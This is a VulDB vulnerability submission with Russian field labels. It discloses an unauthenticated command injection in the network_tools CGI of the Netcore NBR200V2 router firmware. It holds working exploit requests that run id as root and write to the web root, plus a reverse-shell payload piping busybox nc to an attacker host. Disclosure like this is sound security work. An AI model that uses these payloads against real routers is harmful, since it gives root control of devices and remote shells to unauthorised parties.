| Название | Netcore磊科 Router Firmware NBR200V2_V1.3.241127.071246 Command Injection |
|---|
| Описание | An unauthenticated command injection vulnerability (CWE-78) was identified in the Netcore NBR200V2 router, firmware version V1.3.241127.071246 (LEDE 17.01, mipsel / MT7621).
The web management interface is served by uhttpd (ports 80/443, also 23355) with document root /www. The shell-script CGI /www/cgi-bin/network_tools defines a urldecode() sanitization function whose call site is commented out ("#QUERY_STRING=`urldecode "$QUERY_STRING"`"), and then parses the raw, unsanitized QUERY_STRING with an eval loop BEFORE performing any authentication check:
#QUERY_STRING=`urldecode "$QUERY_STRING"` <-- sanitizer disabled
while [ true ]; do
param=${QUERY_STRING%%&*}
QUERY_STRING=${QUERY_STRING#*&}
val=${param#*=}
key=${param%=*}
eval "${key}='${val}'" <-- injection sink (eval)
...
done
if [ ${#sid} -ne 32 ]; then returnerrcode 6; exit; fi <-- auth check runs AFTER eval
Because the sanitizer is disabled and the eval parsing runs prior to the session-id check, a remote attacker without any credentials can execute arbitrary OS commands with root privileges (uhttpd runs as root), leading to full compromise of the device. A query string such as a=';<cmd>;:' makes the script evaluate a='';<cmd>;:''. Payload constraints (confirmed dynamically): exactly one '=' before the payload; no '&' or raw '#'; use ${IFS} instead of spaces (uhttpd does not url-decode the query string). The HTTP response is always the permission-denied error {"result":[6]} -- the injected command has nevertheless already executed, so exploitation must be judged by side effects, not by the response code.
Proof of concept:
Step 1 - unauthenticated command injection (writes id output into the web root):
GET /cgi-bin/network_tools?a=';id>/www/x.txt;:' HTTP/1.1
Response: {"jsonrpc":"2.0","id ":1,"result":[6]} (permission denied, but command already executed)
Step 2 - read back the result:
GET /x.txt HTTP/1.1
Response body: uid=0(root) gid=0(root) groups=0(root)
A reverse shell is obtainable despite the firmware busybox nc lacking -e, using a two-channel scheme:
a=';tail${IFS}-f${IFS}/dev/null|nc${IFS}<LHOST>${IFS}<LPORT1>|/bin/sh|nc${IFS}<LHOST>${IFS}<LPORT2>;:'
The sibling CGIs /www/cgi-bin/acbackup and /www/cgi-bin/upgrade share the same eval loop but keep the urldecode() call enabled, whose while-loop stripping defeats this pattern; only network_tools has the sanitizer commented out.
The vulnerability was dynamically verified against the firmware emulated with qemu-mipsel user-mode emulation (stock uhttpd configuration); arbitrary commands were executed with root privileges without authentication, and an interactive root reverse shell back to the attacker host was confirmed. Further details are available in the referenced GitHub advisory.
|
|---|
| Источник | ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NBR200V2_V1.3.241127.071246%20Router/Netcore_NBR200V2_network_tools_command_injection.md |
|---|
| Пользователь | llsss (UID 96233) |
|---|
| Представление | 10.08.2026 11:03 (2 месяцы назад) |
|---|
| Модерация | 27.09.2026 12:25 (2 months later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 410871 [Netcore NBR200V2 1.3.241127.071246 Web Management Interface network_tools eval QUERY_STRING эскалация привилегий] |
|---|
| Баллы | 20 |
|---|